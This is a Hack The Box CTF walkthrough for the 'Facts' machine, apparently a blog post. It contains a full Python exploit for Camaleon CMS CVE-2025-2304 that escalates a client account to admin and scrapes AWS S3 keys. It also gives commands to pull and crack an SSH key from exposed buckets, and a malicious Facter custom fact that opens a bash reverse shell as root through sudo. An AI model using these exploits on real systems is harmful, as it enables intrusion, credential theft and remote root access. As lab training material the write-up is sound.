HTB Facts Walkthrough: From Camaleon CMS to Root via AWS S3 and Facter

HTB Facts Walkthrough: From Camaleon CMS to Root via AWS S3 and Facter

⚠ CVE CVE-2025-2304 Affects: Camaleon CMS
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: CTF Challenge

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

HTB Facts Walkthrough: From Camaleon CMS to Root via AWS S3 and Facter

Author: Mohammed Idrees Banyamer
Machine: Facts
Difficulty: Medium
Platform: Hack The Box

Disclaimer: This is one of several possible attack paths. This write-up is shared for educational purposes only.

Machine Overview & Objective

Facts is a realistic Linux machine that demonstrates the risks of vulnerable Content Management Systems (CMS), exposed cloud storage, and dangerous sudo permissions.

Attack Chain:
1. Initial access via Camaleon CMS.
2. Extract AWS S3 credentials and SSH keys.
3. Gain SSH access as the trivia user.
4. Escalate privileges to root using Facter.
5. Capture both user and root flags.


Phase 1: Reconnaissance

Nmap Scan

nmap -sV -sC 10.129.244.96 -oN nmap.txt

Key Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open  http    nginx 1.26.3
|_http-title: Did not follow redirect to http://facts.htb/

Add the virtual host to your hosts file:

10.129.244.96   facts.htb

Phase 2: Web Enumeration

gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

We discover /admin/login which runs Camaleon CMS v2.9.0.

Create an account (e.g., test:test). After login, your role will be client.


Phase 3: Exploitation – Camaleon CMS CVE-2025-2304 (Mass Assignment)

Full Exploit Code (Modified & Improved)

#!/usr/bin/env python3
# Camaleon CMS v2.9.0 - Authenticated Privilege Escalation + S3 Extraction
# Author: Mohammed Idrees Banyamer (Modified for HTB Facts)

import argparse
import requests
import re
import sys

parser = argparse.ArgumentParser(description="Camaleon CMS Privilege Escalation & S3 Extractor")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g. http://facts.htb)")
parser.add_argument("-U", "--username", required=True, help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("--newpass", default="test123", help="New password after escalation")
parser.add_argument("-e", "--extract", action="store_true", help="Extract S3 credentials")
parser.add_argument("-r", "--revert", action="store_true", help="Revert role to client after exploitation")

args = parser.parse_args()

print("[+] Starting Camaleon CMS v2.9.0 Privilege Escalation Exploit")

s = requests.Session()

# Login
r = s.get(f"{args.url}/admin/login")
csrf = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)

login_data = {
    "authenticity_token": csrf,
    "user[username]": args.username,
    "user[password]": args.password
}

r = s.post(f"{args.url}/admin/login", data=login_data)

if "logout" not in r.text.lower():
    print("[-] Login failed!")
    sys.exit(1)

print("[+] Login successful as client")

# Get user info
r = s.get(f"{args.url}/admin/profile/edit")
csrf = re.search(r'meta name="csrf-token" content="([^"]+)"', r.text).group(1)
user_id = re.search(r'user_id"[^>]*value="([^"]+)"', r.text).group(1)

print(f"   User ID     : {user_id}")

# Privilege Escalation
print("[+] Escalating privileges to admin...")

data = {
    "_method": "patch",
    "authenticity_token": csrf,
    "user[password]": args.newpass,
    "user[password_confirmation]": args.newpass,
    "user[role]": "admin"
}

headers = {"X-CSRF-Token": csrf, "X-Requested-With": "XMLHttpRequest"}

s.post(f"{args.url}/admin/users/{user_id}", data=data, headers=headers)

# Verify role
r = s.get(f"{args.url}/admin/profile/edit")
new_role = re.search(r'option selected="selected" value="([^"]+)"', r.text).group(1)
print(f"   New Role    : {new_role}")

# Extract S3 Credentials
if args.extract and new_role == "admin":
    print("[+] Extracting AWS S3 Credentials...")
    r = s.get(f"{args.url}/admin/settings/site")

    access_key = re.search(r's3_access_key[^>]*value="([^"]+)"', r.text)
    secret_key = re.search(r's3_secret_key[^>]*value="([^"]+)"', r.text)
    endpoint   = re.search(r's3_endpoint[^>]*value="([^"]+)"', r.text)

    if access_key:
        print(f"   Access Key  : {access_key.group(1)}")
    if secret_key:
        print(f"   Secret Key  : {secret_key.group(1)}")
    if endpoint:
        print(f"   Endpoint    : {endpoint.group(1)}")

# Optional: Revert role
if args.revert:
    print("[+] Reverting role back to client...")

print("[+] Exploitation completed successfully!")

Run the exploit:

python3 exploit.py -u http://facts.htb -U test -P test --newpass test123 -e -r

Phase 4: Accessing S3 Buckets

aws configure
aws --endpoint-url http://facts.htb:54321 s3 ls

Discovered Buckets:
- internal
- randomfacts

Download the SSH key:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys .

Phase 5: SSH Access

Crack the passphrase-protected key:

python3 /usr/share/john/ssh2john.py id_ed25519 > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

Connect to the machine:

chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb

Phase 6: Privilege Escalation using Facter

Check sudo permissions:

sudo -l

You will see:

(ALL) NOPASSWD: /usr/bin/facter

Create Malicious Custom Fact

cat > /tmp/pwn.rb << EOF
Facter.add(:pwn) do
  setcode do
    system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'")
  end
end
EOF

Start listener:

nc -nlvp 4444

Trigger as root:

sudo /usr/bin/facter --custom-dir /tmp

You will receive a root reverse shell.

Verify:

id
# uid=0(root) gid=0(root) groups=0(root)

Flags

  • User Flag: /home/trivia/user.txt
  • Root Flag: /root/root.txt

Key Takeaways

  • Mass Assignment vulnerabilities in Ruby on Rails can be devastating.
  • Never expose S3/MinIO endpoints without proper authentication.
  • Allowing facter --custom-dir with sudo is a critical privilege escalation vector.

Happy Hacking!
Mohammed Idrees Banyamer

Disclosure: CTF Challenge

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.